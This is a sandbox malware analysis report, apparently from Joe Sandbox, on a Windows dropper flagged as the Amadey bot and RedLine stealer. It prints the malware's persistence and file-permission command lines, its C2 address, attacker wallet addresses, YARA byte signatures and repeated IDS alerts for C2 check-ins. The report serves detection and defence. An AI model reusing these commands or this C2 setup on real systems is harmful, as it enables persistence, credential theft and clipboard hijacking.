Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	799672
MD5:	3ac20281c213c418608fcea6d744ae8f
SHA1:	694ee56f317c410cce4bb0dec9b1d6b6f4059f48
SHA256:	f33d6a14fc683aa41846e4073347b71810d835e5f7695dd834b98007826ec831
Tags:	exe
Infos:

Detection

Amadey, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected Amadeys stealer DLL

Detected unpacking (overwrites its own PE header)

Yara detected Amadey bot

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Yara detected Amadeys Clipper DLL

Disable Windows Defender real time protection (registry)

Machine Learning detection for sample

Contains functionality to inject code into remote processes

Uses schtasks.exe or at.exe to add and modify task schedules

Disable Windows Defender notifications (registry)

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Drops PE files

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Binary contains a suspicious time stamp

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Uses cacls to modify the permissions of files

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

file.exe (PID: 1880 cmdline: C:\Users\user\Desktop\file.exe MD5: 3AC20281C213C418608FCEA6D744AE8F)

brJg.exe (PID: 2296 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\brJg.exe MD5: E61222B4D82A6007A553851456BCC651)

arJf.exe (PID: 6080 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\arJf.exe MD5: 01BC3DF99AB67BABCDC1577241E3EE87)

nika.exe (PID: 6128 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\nika.exe MD5: 7E93BACBBC33E6652E147E7FE07572A0)

xriv.exe (PID: 3184 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 2728 cmdline: "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

schtasks.exe (PID: 5816 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3824 cmdline: "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 604 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: F3BDBE3BB6F734E357235F4D5898582D)

cacls.exe (PID: 2664 cmdline: CACLS "mnolyk.exe" /P "user:N" MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cacls.exe (PID: 2880 cmdline: CACLS "mnolyk.exe" /P "user:R" /E MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cmd.exe (PID: 4884 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: F3BDBE3BB6F734E357235F4D5898582D)

cacls.exe (PID: 5064 cmdline: CACLS "..\4b9a106e76" /P "user:N" MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cacls.exe (PID: 1124 cmdline: CACLS "..\4b9a106e76" /P "user:R" /E MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

rundll32.exe (PID: 2192 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 3484 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 1428 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

mnolyk.exe (PID: 3008 cmdline: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 5360 cmdline: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 4800 cmdline: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 4552 cmdline: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

cleanup

Malware Configuration

Threatname: Amadey

{"C2 url": "62.204.41.4/Gol478Ns/index.php", "Version": "3.66"}

Threatname: Amadey

{"Wallet Addresses": ["bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77", "0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D", "LdYspWr6nkQ3ZNNTsmba77u4frHDhji1Nv", "DBjzffi3umhLQbUGLRoNQwZ4pjoKyNFahf", "42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSJkUCc5bJyJ5hdkUu4324VJx8ACcDJJXg2NbRdWVcDyS87tyLikjVVJ"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001C.00000002.412655905.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000000.401919368.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000021.00000002.667787109.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.363155584.0000000000667000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1328:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000F.00000002.774984109.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.362707528.0000000000580000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.362707528.0000000000580000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000E.00000000.394346269.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.775467476.0000000001139000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
0000001C.00000000.412434202.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.336400821.00000000005B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000003.336400821.00000000005B0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0000001F.00000000.538870814.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.539099474.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.404038192.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000000.395382320.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000000.667491618.0000000000071000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.775467476.0000000001189000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000000.00000003.249730772.00000000049A9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: mnolyk.exe PID: 2728	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
28.2.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.0.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.0.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.file.exe.4a09a20.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.arJf.exe.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.arJf.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
33.0.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
33.2.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.xriv.exe.10a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.file.exe.4a09a20.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.0.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.0.xriv.exe.10a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.arJf.exe.580e67.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.arJf.exe.580e67.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
26.0.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.mnolyk.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.rundll32.exe.6fb90000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
2.3.arJf.exe.5b0000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.3.arJf.exe.5b0000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
2.2.arJf.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.arJf.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
Click to see the 18 entries

Snort Signatures

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449808802027700 02/06/23-18:36:19.520673
SID:	2027700
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449869802027700 02/06/23-18:36:34.178044
SID:	2027700
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450136802027700 02/06/23-18:37:49.465984
SID:	2027700
Source Port:	50136
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450329802027700 02/06/23-18:38:39.784785
SID:	2027700
Source Port:	50329
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449906802027700 02/06/23-18:36:47.288237
SID:	2027700
Source Port:	49906
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450295802027700 02/06/23-18:38:31.730774
SID:	2027700
Source Port:	50295
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450041802027700 02/06/23-18:37:24.611334
SID:	2027700
Source Port:	50041
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450099802027700 02/06/23-18:37:39.765161
SID:	2027700
Source Port:	50099
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450197802027700 02/06/23-18:38:04.844993
SID:	2027700
Source Port:	50197
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450332802027700 02/06/23-18:38:40.516329
SID:	2027700
Source Port:	50332
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449774802027700 02/06/23-18:36:09.754520
SID:	2027700
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449872802027700 02/06/23-18:36:35.424116
SID:	2027700
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450038802027700 02/06/23-18:37:23.886376
SID:	2027700
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450234802027700 02/06/23-18:38:15.320717
SID:	2027700
Source Port:	50234
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449811802027700 02/06/23-18:36:20.234434
SID:	2027700
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449967802027700 02/06/23-18:37:04.009354
SID:	2027700
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449746802027700 02/06/23-18:36:02.941804
SID:	2027700
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450074802027700 02/06/23-18:37:33.782821
SID:	2027700
Source Port:	50074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450172802027700 02/06/23-18:37:58.795470
SID:	2027700
Source Port:	50172
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450270802027700 02/06/23-18:38:23.999396
SID:	2027700
Source Port:	50270
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449844802027700 02/06/23-18:36:28.246222
SID:	2027700
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450304802027700 02/06/23-18:38:33.925233
SID:	2027700
Source Port:	50304
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449939802027700 02/06/23-18:36:57.241621
SID:	2027700
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450066802027700 02/06/23-18:37:30.995908
SID:	2027700
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450267802027700 02/06/23-18:38:23.274292
SID:	2027700
Source Port:	50267
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450013802027700 02/06/23-18:37:17.791988
SID:	2027700
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449897802027700 02/06/23-18:36:42.089661
SID:	2027700
Source Port:	49897
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449816802027700 02/06/23-18:36:21.444072
SID:	2027700
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450144802027700 02/06/23-18:37:52.098502
SID:	2027700
Source Port:	50144
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450239802027700 02/06/23-18:38:16.554901
SID:	2027700
Source Port:	50239
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449779802027700 02/06/23-18:36:10.997636
SID:	2027700
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449975802027700 02/06/23-18:37:05.978493
SID:	2027700
Source Port:	49975
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449934802027700 02/06/23-18:36:56.059242
SID:	2027700
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

